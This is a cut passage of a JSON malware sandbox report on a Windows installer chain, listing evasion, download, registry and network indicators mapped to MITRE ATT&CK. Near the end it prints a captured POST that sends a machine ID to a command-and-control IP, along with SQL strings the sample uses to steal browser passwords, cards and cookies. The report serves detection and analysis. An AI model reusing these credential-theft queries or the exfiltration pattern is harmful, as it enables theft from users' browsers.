GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0006h\" and \"jc 0045F3A3h\" at 00000000-00000856-42198-2796-0045F330\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0005h\" and \"jnc 0045AF19h\" at 00000000-00000856-42198-819-0045AEE4\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0005h\" and \"jc 0042DF39h\" at 00000000-00000856-42198-106-0042DEBC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$8c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"u1s0.1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"u1s0.0.exe\" queries volume information of \"C:\\\" at 00000000-00002012-0000010C-3882727","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"u1s0.1.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$8d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$8e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"svc.iolo.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"CreateNamedPipeA@KERNEL32.DLL at 00000000-00000856-42198-208-004569D4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1559","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.DLL at 00000000-00000856-42198-204-00456E50\n MsgWaitForMultipleObjects at 00000000-00000856-42198-2944-00472E88\n Sleep@KERNEL32.DLL at 00000000-00000856-42198-2683-00453DDC\n MsgWaitForMultipleObjects at 00000000-00000856-42198-3021-004734AC\n MsgWaitForMultipleObjects at 00000000-00000856-42198-173-00455EB0\n WaitForSingleObject@KERNEL32.DLL at 00000000-00000856-42198-167-00456200\n MsgWaitForMultipleObjects at 00000000-00000856-42198-207-00457028\n SetTimer at 00000000-00000856-42198-2336-00424A9C\n MsgWaitForMultipleObjects at 00000000-00000856-42198-2678-004536EC\n MsgWaitForMultipleObjects at 00000000-00000856-42198-111-004921E8\n Sleep@KERNEL32.DLL at 00000000-00000856-42198-2926-004671DC\n Sleep@KERNEL32.dll at 3262-256-00404CA5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00002304-29567-11-00417842\n LoadLibraryExW@KERNEL32.DLL at 00000000-00003012-36765-34-00A0D384\n LoadLibraryA@KERNEL32.DLL at 00000000-00000856-42198-2627-0044C070\n LoadLibraryA@KERNEL32.DLL at 00000000-00000856-42198-1094-0044F41B\n LoadLibraryExA@KERNEL32.DLL at 00000000-00000856-42198-1183-00447DC0\n LoadLibraryA@KERNEL32.DLL at 00000000-00000856-42198-828-0042E1F0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$8f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"0d000e00fe02f871@ADVAPI32.dll\"\n \"0b000c00cc02f871@ADVAPI32.dll\"\n \"10001100da02f871@ADVAPI32.dll\"\n \"150016003cdaa768@ADVAPI32.dll\"\n \"0e000f00ecdaa768@ADVAPI32.dll\"\n \"0e000f0048dba768@ADVAPI32.dll\"\n \"1100120024e3a768@ADVAPI32.dll\"\n \"11001200c0e3a768@ADVAPI32.dll\"\n \"1200130004e4a768@ADVAPI32.dll\"\n \"120013005ce4a768@ADVAPI32.dll\"\n \"140015008005a868@ADVAPI32.dll\"\n \"140015009805a868@ADVAPI32.dll\"\n \"14001500b005a868@ADVAPI32.dll\"\n \"17001800c805a868@ADVAPI32.dll\"\n \"0d000e00e005a868@ADVAPI32.dll\"\n \"0f0010000c07a868@ADVAPI32.dll\"\n \"140015004c07a868@ADVAPI32.dll\"\n \"140015006407a868@ADVAPI32.dll\"\n \"0c000d00ac07a868@ADVAPI32.dll\"\n \"0c000d00bc07a868@ADVAPI32.dll\"\n \"0e000f00cc07a868@ADVAPI32.dll\"\n \"180019003409a868@RPCRT4.dll\"\n \"130014006009a868@RPCRT4.dll\"\n \"140015007409a868@RPCRT4.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$90","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"svc.iolo.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$91","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 2670143)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"288c47bbc1871b439df19ff4df68f000766.exe\" connecting to \"\\ThemeApiPort\"\n \"InstallSetup_four.exe\" connecting to \"\\ThemeApiPort\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" connecting to \"\\ThemeApiPort\"\n \"EasyAppns.exe\" connecting to \"\\ThemeApiPort\"\n \"april.exe\" connecting to \"\\ThemeApiPort\"\n \"april.tmp\" connecting to \"\\ThemeApiPort\"\n \"u1s0.1.exe\" connecting to \"\\ThemeApiPort\"\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00000856-42198-773-00453D04","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00000856.00000000.66680.0049A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" touched file \"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\"\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" touched file \"C:\\Program Files\\VMware\\VMware Tools\\VMware VGAuth\\VGAuthService.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"u1s0.0.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /3cd2b41cbde8fc9c.php\" - (UID: 00000000-00002012)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003488)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"u1s0.0.exe\" called \"InternetReadFile\" with parameter 1999 (UID: 00000000-00002012)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"u1s0.0.exe\" called \"InternetOpenA\" (UID: 00000000-00002012)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /cpa/ping.php?substr=four&s=ab&sub=0\"\n Found http requests in header \"GET /syncUpd.exe\"\n Found http requests in header \"GET /ping.php?substr=four\"\n Found http requests in header \"GET /BroomSetup.exe\"\n Found http requests in header \"POST /3cd2b41cbde8fc9c.php\"\n Found http requests in header \"POST /__svc/sbv/DownloadManager.ashx\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$92","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ookie:hapubws@www.gmx.net/\" [Source: 00000000-00002012.00000001.67447.00299000.00000004.mdmp]\n Observed email domain:\"ten.sdapop.evres\" [Source: 00000000-00002012.00000001.67447.00299000.00000004.mdmp]\n Observed email domain:\"www.gmx.net\" [Source: 00000000-00002012.00000001.67447.00299000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking related APIs","description":"Observed import api \"WNetCloseEnum\" which can \"ends a network resource enumeration\" [Source: april.tmp]\n Observed import api \"WNetEnumResource\" which can \"continues an enumeration of network resources\" [Source: april.tmp]\n Observed import api \"WNetGetConnection\" which can \"retrieves the name of the network resource associated with a local device\" [Source: april.tmp]\n Observed import api \"WNetGetUniversalName\" which can \"takes a drive-based path for a network resource and returns an information structure that contains a more universal form of the name\" [Source: april.tmp]\n Observed import api \"WNetOpenEnum\" which can \"starts an enumeration of network resources or existing connections.\" [Source: april.tmp]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"20.9.155.145\" on port \"443\"\n HTTPS traffic to \"20.9.155.148\" on port \"443\"\n HTTPS traffic to \"20.9.155.150\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on file \"EasyAppns.exe\"\n YARA signature for AES encryption matched on file \"u1s0.1.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopIcon\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00000856.00000000.66680.013E0000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection","description":"Wow64DisableWow64FsRedirection@KERNEL32.DLL at 00000000-00000856-42198-123-004510A8\n Wow64RevertWow64FsRedirection@KERNEL32.DLL at 00000000-00000856-42198-122-004510E4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070","relevance":1,"id":"stream-78","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$93","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"7d5cac8\"\n \"Count\": \"1\"}\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"7d5cb28\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$94","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00000376.00000001.67239.00150000.00000040.mdmp, 00000000-00000376.00000001.67239.00400000.00000040.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00000376.00000001.67239.00150000.00000040.mdmp, 00000000-00000376.00000001.67239.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should [name] be installed?\" (Indicator: \"where \"; Source: \"00000000-00000856.00000000.66680.013E0000.00000004.mdmp\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00000856.00000000.66680.013E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$95","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"\"\\??\\C:\\Windows\\win.ini\" (Indicator: \"\\win.ini\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 288c47bbc1871b439df19ff4df68f076.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: april.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: EasyAppns.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: InstallSetup_four.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: EasyApp.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: u1s0.0.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: april.tmp]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"EasyAppns.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"HARDWAREINFORMATION.MEMORYSIZE\")\n \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"INSTALLEDDISPLAYDRIVERS\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\tzres.dll\" (UID: 00000000-00003488), \"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003624)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00003212-00000C26-77232208","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"www.credit-agricole.fr\" (Source: 00000000-00002012.00000001.67447.00299000.00000004.mdmp, Indicator: \"credit-agricole.fr\")\n \"capitalone.com\" (Source: 00000000-00002012.00000001.67447.00299000.00000004.mdmp, Indicator: \"capitalone.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .rdata\n .rdata with unusual entropies 7.97030150025\n 7.99186136508\n 7.50706939975","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00000856-42198-345-0040AF38\n FindResourceA@KERNEL32.DLL at 00000000-00000856-42198-223-0040D170","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$96","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"u1s0.0.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"u1s0.1.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@USER32.DLL at 00000000-00000856-42198-2345-00423598\n SystemParametersInfoA@USER32.DLL at 00000000-00000856-42198-2346-00423568\n SystemParametersInfoA@USER32.DLL at 00000000-00000856-42198-2793-0045F1D8\n SystemParametersInfoA@USER32.DLL at 00000000-00000856-42198-301-0048F22C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"u1s0.1.exe\" called \"ShellExecuteW\" with parameter %TEMP%\\iolo\\dm\\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (UID: 00000000-00003212)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"General","name":"Contains ability to start/interact with device drivers","description":"DeviceIoControl@KERNEL32.DLL at 00000000-00000856-42198-825-0042E6DC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1547.006","relevance":8,"id":"stream-21","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36\n Mozilla/3.0 (compatible; Indy Library)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /3cd2b41cbde8fc9c.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK\nHost: 185.172.128.209\nContent-Length: 215\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload:==> \"------GDAAKKEHDHCAAAKFCBAK\nContent-Disposition: form-data; name=\"hwid\"\n\n2039C540C46F1350827015\n------GDAAKKEHDHCAAAKFCBAK\nContent-Disposition: form-data; name=\"build\"\n\ndefault6\n------GDAAKKEHDHCAAAKFCBAK--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Steals sensitive data from browsers","description":"Found string \"SELECT origin_url, username_value, password_value FROM logins\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")\n Found string \"SELECT name, value FROM autofill\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")\n Found string \"SELECT fieldname, value FROM moz_formhistory\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")\n Found string \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")\n Found string \"SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 